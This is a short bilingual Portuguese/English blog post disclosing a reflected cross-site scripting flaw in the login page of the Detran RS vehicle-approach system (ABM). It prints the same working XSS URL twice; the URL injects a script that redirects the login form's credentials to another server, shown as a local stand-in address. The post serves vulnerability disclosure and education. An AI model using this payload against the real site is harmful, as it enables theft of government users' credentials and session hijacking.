A falha do Detran RS — XSS [PT-BR][EN-US]

r4msolo
3 min readAug 11, 2022

The text was divided first in Portuguese and then English.

O texto foi dividido primeiro em português e depois inglês.

[PT-BR]

Para o entendimento da falha, devemos saber primeiro do que se trata um Cross-Site Scripting (XSS), basta seguir o link.

A vulnerabilidade ocorre na página de login do Sistema de Abordagem Móvel de Veículos (ABM), desenvolvido para consultar informações dos veículos e condutores com irregularidades, mas também registrar as abordagens.

No campo “matricula” (usuário) da aplicação, podemos ver que ele reflete na página o que o usuário passa como argumento, e esse conteúdo não é filtrado, de tal forma que podemos inserir tags HTML que serão interpretadas pelo navegador de quem acessar a página pelo nosso link, a injeção do XSS será feita nesse campo, que pode ser passado via GET.

Essa falha abre uma brecha para um ataque do tipo Perfect Phishing, onde um credenciado que tentar logar na plataforma irá nos encaminhar suas credenciais, ou até mesmo, o próprio roubo de cookies de sessão resultando em uma falha de Session Cookie Hijacking, basta um clique de alguém já autenticado na plataforma para o atacante ter acesso a essa conta.

Acompanhe o vídeo para um melhor entendimento

No vídeo eu demonstro que uma url maliciosa poderia ser enviada para alterar o action do formulário, mudar o destino para onde vai as credenciais, fazendo com que um terceiro tenha acesso a conta.

XSS URL: https://abm.detran.rs.gov.br/sca/logonJSF.jsp?pageRedirect=/abm/&organicacao=1&matricula=<script>document.getElementById(“frmLogon”).action = “http://127.0.0.1:8080/"</script>&senha=3&acao=logon

[EN-US]

To understand the flaw, we must first know what is a Cross-Site Scripting (XSS), just follow the link

The vulnerability occurs on the login page of the Mobile Vehicle Approach System (ABM), developed to consult information on vehicles and drivers with irregularities, but also to register approaches.

In the “matricula”(usuário) field of the application, we can see that it reflects on the page what the user passes as an argument, and this content is not filtered, in such a way that we can insert HTML tags that will be interpreted by the browser of those who access the page through our link, the XSS injection will be done in this field, which can be passed by GET Method. This flaw open up a breach for a Perfect Phishing Attack, where a legitime user who tries to log in to the platform will forward their credentials to us, or even session hijacking failure, if someone already authenticated on the platform and follow de malicious link, the attacker will have access to his account.

for a better understanding follow the video

In the video I demonstrate that a malicious url could be sent to change the action from form, change the destination where the credentials go, giving a third party access to the account.

XSS URL: https://abm.detran.rs.gov.br/sca/logonJSF.jsp?pageRedirect=/abm/&organicacao=1&matricula=<script>document.getElementById(“frmLogon”).action = “http://127.0.0.1:8080/"</script>&senha=3&acao=logon

--

--